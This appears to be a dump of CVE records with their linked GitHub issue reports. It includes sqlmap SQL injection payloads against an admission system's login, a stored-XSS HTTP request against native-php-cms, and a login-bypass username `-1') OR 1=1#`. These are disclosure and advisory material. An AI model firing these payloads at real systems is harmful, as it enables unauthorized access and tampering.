Vulnerability type: + time-based blind + boolean-based blind + error-based ## Vulnerability location: + 'u_id' parameter ## Payload: --- Parameter: u_id (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: u_id=-3282' OR 7552=7552#&u_ps=1&u_sub=Login Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: u_id=1' OR (SELECT 8085 FROM(SELECT COUNT(*),CONCAT(0x716a626b71,(SELECT (ELT(8085=8085,1))),0x71787a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- MOsB&u_ps=1&u_sub=Login Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: u_id=1' AND (SELECT 7736 FROM (SELECT(SLEEP(5)))GhJB)-- EZpJ&u_ps=1&u_sub=Login --- + ![1](https://github.com/user-attachments/assets/35ee43a3-ef23-497b-8c83-792ee822c981) ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: + ![2](https://github.com/user-attachments/assets/1605cb0b-d43c-491f-b365-daba1add2e7d) + ![3](https://github.com/user-attachments/assets/43fb42c6-87b8-49b5-a7c3-7c3c145c15d3) + ![4](https://github.com/user-attachments/assets/3e6f2d97-0956-44ef-8e52-a1c62144300b) # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.**

code-projects.org"Admission Management System" in PHP 1.0 "index.php" SQL injection

https://api.github.com/repos/Curious-L/-/issues/3/comments

0

2025-01-08T02:50:32Z

https://github.com/Curious-L/-/issues/3

2,774,118,160

3

6,495

CVE-2025-0485

2025-01-15T20:15:29.400

A vulnerability was found in Fanli2012 native-php-cms 1.0. It has been classified as problematic. Affected is an unknown function of the file /fladmin/sysconfig_doedit.php. The manipulation of the argument info leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 3.5, "baseSeverity": "LOW", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.1, "impactScore": 1.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "LOW", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/Fanli2012/native-php-cms/issues/7" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/Fanli2012/native-php-cms/issues/7#issue-2769919832" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.291930" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.291930" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.475247" } ]

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[ "79" ]

79

https://github.com/Fanli2012/native-php-cms/issues/7

[ "Exploit", "Issue Tracking" ]

github.com

[ "Fanli2012", "native-php-cms" ]

In fladmin/sysconfig_doedit.php, the input content is not filtered, resulting in storage XSS. Attackers can cooperate with unauthorized access to directly insert storage XSS into the background ``` POST /fladmin/sysconfig_doedit.php HTTP/1.1 Host: 192.168.0.104 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDndN8IVa2ph9U0Ud Content-Length: 451 ------WebKitFormBoundaryDndN8IVa2ph9U0Ud Content-Disposition: form-data; name="varname" CMS_PAGESIZE ------WebKitFormBoundaryDndN8IVa2ph9U0Ud Content-Disposition: form-data; name="id" 15 ------WebKitFormBoundaryDndN8IVa2ph9U0Ud Content-Disposition: form-data; name="info" <script>alert(1)</script> ------WebKitFormBoundaryDndN8IVa2ph9U0Ud Content-Disposition: form-data; name="value" 15 ------WebKitFormBoundaryDndN8IVa2ph9U0Ud-- ``` ![image](https://github.com/user-attachments/assets/cf807b5d-c32b-4f82-861f-f814832f5d63) http://192.168.0.104/fladmin/sysconfig_list.php Need to click refresh ![image](https://github.com/user-attachments/assets/07f50bcb-4c28-4811-999a-9c7ebd335216)

native-php-cms has storage XSS

https://api.github.com/repos/Fanli2012/native-php-cms/issues/7/comments

0

2025-01-06T06:18:47Z

2025-01-06T06:26:44Z

https://github.com/Fanli2012/native-php-cms/issues/7

2,769,919,832

7

6,498

CVE-2025-0485

2025-01-15T20:15:29.400

A vulnerability was found in Fanli2012 native-php-cms 1.0. It has been classified as problematic. Affected is an unknown function of the file /fladmin/sysconfig_doedit.php. The manipulation of the argument info leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 3.5, "baseSeverity": "LOW", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.1, "impactScore": 1.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "LOW", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/Fanli2012/native-php-cms/issues/7" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/Fanli2012/native-php-cms/issues/7#issue-2769919832" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.291930" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.291930" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.475247" } ]

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[ "79" ]

79

https://github.com/Fanli2012/native-php-cms/issues/7#issue-2769919832

[ "Exploit", "Issue Tracking" ]

github.com

[ "Fanli2012", "native-php-cms" ]

In fladmin/sysconfig_doedit.php, the input content is not filtered, resulting in storage XSS. Attackers can cooperate with unauthorized access to directly insert storage XSS into the background ``` POST /fladmin/sysconfig_doedit.php HTTP/1.1 Host: 192.168.0.104 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDndN8IVa2ph9U0Ud Content-Length: 451 ------WebKitFormBoundaryDndN8IVa2ph9U0Ud Content-Disposition: form-data; name="varname" CMS_PAGESIZE ------WebKitFormBoundaryDndN8IVa2ph9U0Ud Content-Disposition: form-data; name="id" 15 ------WebKitFormBoundaryDndN8IVa2ph9U0Ud Content-Disposition: form-data; name="info" <script>alert(1)</script> ------WebKitFormBoundaryDndN8IVa2ph9U0Ud Content-Disposition: form-data; name="value" 15 ------WebKitFormBoundaryDndN8IVa2ph9U0Ud-- ``` ![image](https://github.com/user-attachments/assets/cf807b5d-c32b-4f82-861f-f814832f5d63) http://192.168.0.104/fladmin/sysconfig_list.php Need to click refresh ![image](https://github.com/user-attachments/assets/07f50bcb-4c28-4811-999a-9c7ebd335216)

native-php-cms has storage XSS

https://api.github.com/repos/Fanli2012/native-php-cms/issues/7/comments

0

2025-01-06T06:18:47Z

2025-01-06T06:26:44Z

https://github.com/Fanli2012/native-php-cms/issues/7

2,769,919,832

7

6,499

CVE-2025-0486

2025-01-15T21:15:14.960

A vulnerability was found in Fanli2012 native-php-cms 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /fladmin/login.php. The manipulation of the argument username leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 7.3, "baseSeverity": "HIGH", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 6.9, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "NONE", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "LOW", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

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[ "89" ]

89

https://github.com/Fanli2012/native-php-cms/issues/8

[ "Exploit", "Issue Tracking" ]

github.com

[ "Fanli2012", "native-php-cms" ]

Unfiltered input username value in fladmin/login.php allows attackers to construct malicious usernames to bypass login ![image](https://github.com/user-attachments/assets/db651aff-a904-462e-905a-448857dd6b98) http://192.168.0.104/fladmin/login.php Fill in the username field：`-1') OR 1=1#` Password is arbitrary, you can also fill in 1 ![image](https://github.com/user-attachments/assets/464c9ca0-bae1-41ff-91ef-eed82348be55) ![image](https://github.com/user-attachments/assets/2c9fac72-7fe8-4e09-94cf-7d79c1fcdbbe)

There is a universal password for native-php-cms

https://api.github.com/repos/Fanli2012/native-php-cms/issues/8/comments

0

2025-01-06T06:35:01Z

2025-01-06T06:39:03Z

https://github.com/Fanli2012/native-php-cms/issues/8

2,769,942,639

8

6,500